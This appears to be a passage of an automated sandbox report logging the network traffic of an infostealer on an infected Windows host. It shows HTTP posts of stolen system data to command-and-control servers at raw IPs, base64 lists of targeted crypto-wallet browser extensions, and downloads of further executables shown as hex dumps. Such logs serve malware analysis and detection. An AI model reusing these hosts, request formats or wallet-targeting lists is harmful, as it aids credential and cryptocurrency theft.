                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:03 GMT
                                                                                                                                                                                                                                                            Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                                            Vary: Accept-Encoding
                                                                                                                                                                                                                                                            Content-Length: 7116
                                                                                                                                                                                                                                                            Keep-Alive: timeout=5, max=97
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED]
                                                                                                                                                                                                                                                            Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:03.741482973 CET124INData Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46
                                                                                                                                                                                                                                                            Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1k
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:03.741585016 CET1236INData Raw: 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 77 78 66 44 42 38 4d 48 78 54 62 32
                                                                                                                                                                                                                                                            Data Ascii: cG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2F
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:03.741827965 CET1236INData Raw: 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46
                                                                                                                                                                                                                                                            Data Ascii: U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWN
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:03.741863012 CET1236INData Raw: 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d 64 6a 61 6d 56 77 62 6d 68 70 59 6d
                                                                                                                                                                                                                                                            Data Ascii: cGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFR
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:03.741899967 CET1236INData Raw: 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 77 78 66 44 42 38 4d 48 78 61 62 32
                                                                                                                                                                                                                                                            Data Ascii: a2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnB
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:03.750050068 CET1040INData Raw: 4d 58 77 77 66 44 42 38 51 32 39 74 63 47 46 7a 63 79 42 58 59 57 78 73 5a 58 51 67 5a 6d 39 79 49 46 4e 6c 61 58 78 68 62 6d 39 72 5a 32 31 77 61 47 35 6a 63 47 56 72 61 32 68 6a 62 47 31 70 62 6d 64 77 61 57 31 71 62 57 4e 76 62 32 6c 6d 59 6e
                                                                                                                                                                                                                                                            Data Ascii: MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:03.779613018 CET470OUTPOST /c4becf79229cb002.php HTTP/1.1
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=----EHDHDHIECGCAEBFIIDHI
                                                                                                                                                                                                                                                            Host: 185.215.113.206
                                                                                                                                                                                                                                                            Content-Length: 268
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                                                                                                            Data Raw: 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 39 65 34 65 39 31 30 61 37 33 35 64 65 30 37 30 37 33 32 35 64 37 64 38 38 37 37 39 38 30 37 65 39 61 38 38 37 38 63 66 35 30 37 38 61 33 32 38 34 33 33 36 31 65 65 62 33 33 63 36 34 36 64 39 33 34 61 63 36 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 2d 2d 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: ------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="token"df09e4e910a735de0707325d7d88779807e9a8878cf5078a32843361eeb33c646d934ac6------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="message"fplugins------EHDHDHIECGCAEBFIIDHI--
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:04.217564106 CET335INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:04 GMT
                                                                                                                                                                                                                                                            Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                                            Vary: Accept-Encoding
                                                                                                                                                                                                                                                            Content-Length: 108
                                                                                                                                                                                                                                                            Keep-Alive: timeout=5, max=96
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38
                                                                                                                                                                                                                                                            Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:04.311784983 CET203OUTPOST /c4becf79229cb002.php HTTP/1.1
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=----FIIIIJKFCAAECAKFIEHC
                                                                                                                                                                                                                                                            Host: 185.215.113.206
                                                                                                                                                                                                                                                            Content-Length: 5483
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:04.311784983 CET5483OUTData Raw: 2d 2d 2d 2d 2d 2d 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 39 65 34
                                                                                                                                                                                                                                                            Data Ascii: ------FIIIIJKFCAAECAKFIEHCContent-Disposition: form-data; name="token"df09e4e910a735de0707325d7d88779807e9a8878cf5078a32843361eeb33c646d934ac6------FIIIIJKFCAAECAKFIEHCContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:05.261120081 CET202INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:04 GMT
                                                                                                                                                                                                                                                            Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                                            Content-Length: 0
                                                                                                                                                                                                                                                            Keep-Alive: timeout=5, max=95
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:05.692146063 CET94OUTGET /68b591d6548ec281/sqlite3.dll HTTP/1.1
                                                                                                                                                                                                                                                            Host: 185.215.113.206
                                                                                                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:06.125454903 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:05 GMT
                                                                                                                                                                                                                                                            Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                                            Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT
                                                                                                                                                                                                                                                            ETag: "10e436-5e7ec6832a180"
                                                                                                                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                                                                                                                            Content-Length: 1106998
                                                                                                                                                                                                                                                            Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                                            Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED]
                                                                                                                                                                                                                                                            Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: *0@< .text%&`P`.data|'@(,@`.rdatapDpFT@`@.bss(`.edata*,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:06.125562906 CET1236INData Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii: #N@B/81s:<R@B/92P @B


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            14192.168.2.549948185.215.113.43806756C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:01.571954012 CET184OUTPOST /Zu7JuNko/index.php HTTP/1.1
                                                                                                                                                                                                                                                            Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                            Host: 185.215.113.43
                                                                                                                                                                                                                                                            Content-Length: 31
                                                                                                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                                                                                                            Data Raw: 64 31 3d 31 30 31 37 31 39 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39
                                                                                                                                                                                                                                                            Data Ascii: d1=1017195001&unit=246122658369
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:02.772113085 CET193INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:02 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: keep-alive
                                                                                                                                                                                                                                                            Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 4 <c>0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            15192.168.2.549952185.215.113.16806756C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:02.896609068 CET55OUTGET /well/random.exe HTTP/1.1
                                                                                                                                                                                                                                                            Host: 185.215.113.16
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:04.222156048 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:03 GMT
                                                                                                                                                                                                                                                            Content-Type: application/octet-stream
                                                                                                                                                                                                                                                            Content-Length: 967680
                                                                                                                                                                                                                                                            Last-Modified: Wed, 18 Dec 2024 23:56:23 GMT
                                                                                                                                                                                                                                                            Connection: keep-alive
                                                                                                                                                                                                                                                            ETag: "67636127-ec400"
                                                                                                                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                                                                                                                            Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 18 61 63 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 14 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED]
                                                                                                                                                                                                                                                            Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELacg"w@ r@@@d|@Xu4@.text `.rdata@@.datalpH@.rsrcX@Z@@.relocuvN@B
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:04.222290993 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00
                                                                                                                                                                                                                                                            Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:04.222307920 CET1236INData Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7
                                                                                                                                                                                                                                                            Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY|#l)\DItv
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:04.222781897 CET1236INData Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c
                                                                                                                                                                                                                                                            Data Ascii: N^VW3DNF|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:04.222798109 CET1236INData Raw: 00 5f 5e 5b c9 c2 08 00 49 eb 89 41 eb 86 8d 47 01 89 02 eb dc e8 5b 01 00 00 84 c0 74 0e 8b ca e8 50 01 00 00 84 c0 74 03 b0 01 c3 32 c0 c3 55 8b ec 51 51 56 8b f1 80 be 6d 01 00 00 00 8b 86 68 01 00 00 75 53 ff 70 04 e8 1e 09 00 00 8d 4d ff c7
                                                                                                                                                                                                                                                            Data Ascii: _^[IAG[tPt2UQQVmhuSpMEQMQPx$}dtmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:04.222815990 CET1236INData Raw: 00 83 f8 12 0f 8d e0 04 04 00 83 e8 04 83 f8 0a 77 94 ff 24 85 85 27 40 00 6a 7f 58 66 3b d8 0f 84 c2 06 04 00 8b 19 33 c0 66 85 c0 74 1c 8b 45 90 40 89 45 90 8b 1c 81 0f b7 43 08 66 3b 85 50 ff ff ff 75 e4 e9 9d 06 04 00 83 3b 05 75 df 8b 04 91
                                                                                                                                                                                                                                                            Data Ascii: w$'@jXf;3ftE@ECf;Pu;u3f9X'ULUf9Y]79^99L99!:9#, rU]
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:04.223573923 CET1236INData Raw: 85 79 02 04 00 38 5f 08 75 1c 8b 47 04 6a 08 50 8b 70 04 e8 c8 d5 01 00 59 59 89 77 04 88 5f 09 ff 0f 5f 5e 5b c3 b3 01 eb f3 55 8b ec 56 8b f1 80 7e 09 00 0f 85 5f 02 04 00 6a 08 e8 ad d5 01 00 59 8b 4d 08 8b 09 89 08 8b 4e 04 89 48 04 89 46 04
                                                                                                                                                                                                                                                            Data Ascii: y8_uGjPpYYw__^[UV~_jYMNHF^]UQSV3W8^?8^u7~G0EtO ,O$j8WIEYYF^_^[UWVj8)YuON0w^_]UVuWO
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:04.223591089 CET1236INData Raw: a3 88 13 4d 00 ff d6 57 ff 35 8c 13 4d 00 ff d6 5f 5e c3 55 8b ec 83 ec 40 a1 58 13 4d 00 56 33 f6 a3 04 19 4d 00 6a 0f c7 45 c4 30 00 00 00 c7 45 c8 2b 00 00 00 89 75 d0 c7 45 d4 1e 00 00 00 89 45 d8 89 75 e0 ff 15 3c c7 49 00 89 45 e4 8b 45 10
                                                                                                                                                                                                                                                            Data Ascii: MW5M_^U@XMV3MjE0E+uEEu<IEEEEEEPuEIE}A0IhIfM IMEPEE;Ijjj!jjIh5M\M4IPj5\MI5`M^UVW
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:04.223607063 CET1236INData Raw: cc 00 00 00 2d 8f 00 00 00 0f 84 d8 fc 03 00 48 83 e8 01 0f 84 ba fc 03 00 2d ff 01 00 00 0f 84 94 fc 03 00 2d ef 00 00 00 0f 84 8f 00 00 00 3b 3d 28 25 4d 00 0f 84 58 fc 03 00 ff 75 0c ff 75 08 57 56 ff 15 08 c7 49 00 5f 5e 5b 8b e5 5d c3 85 c0
                                                                                                                                                                                                                                                            Data Ascii: -H--;=(%MXuuWVI_^[]tt%jVIM73jhjV$IhI I=M(%MuIMuQQVMjIU<SVWj,EE0jP
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:04.224375010 CET1236INData Raw: 4d 00 ff 53 56 57 33 db c7 05 94 19 4d 00 01 01 01 01 68 58 cb 49 00 89 1d 90 19 4d 00 66 89 1d 98 19 4d 00 c6 05 9a 19 4d 00 01 c7 05 9c 19 4d 00 09 00 00 00 89 1d a8 19 4d 00 e8 0a 66 00 00 68 3c cb 49 00 b9 bc 19 4d 00 e8 fb 65 00 00 b9 cc 19
                                                                                                                                                                                                                                                            Data Ascii: MSVW3MhXIMfMMMMfh<IMeMrMrMrM4MMMMMMMMj_MMMMMMMMM M$M0Mrud
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:04.341967106 CET1236INData Raw: 53 52 51 ff 15 18 c0 49 00 85 c0 75 4f 8b 45 0c 57 8d 3c 00 8d 45 fc 89 7d fc 50 56 53 53 ff 75 08 ff 75 f8 ff 15 20 c0 49 00 85 c0 75 15 8b 45 fc d1 e8 89 45 fc 3b 45 0c 73 18 33 c9 66 89 0c 46 b3 01 ff 75 f8 ff 15 1c c0 49 00 8a c3 5f 5e 5b c9
                                                                                                                                                                                                                                                            Data Ascii: SRQIuOEW<E}PVSSuu IuEE;Es3fFuI_^[3fD72V|M]8MW3=MZ=@M M@I95(Mv"$Mj4$MYY<F;5(Mr5$M=(MYMM<I5M


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            16192.168.2.549967185.215.113.43806756C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:08.625797033 CET184OUTPOST /Zu7JuNko/index.php HTTP/1.1
                                                                                                                                                                                                                                                            Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                            Host: 185.215.113.43
                                                                                                                                                                                                                                                            Content-Length: 31
                                                                                                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                                                                                                            Data Raw: 64 31 3d 31 30 31 37 31 39 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39
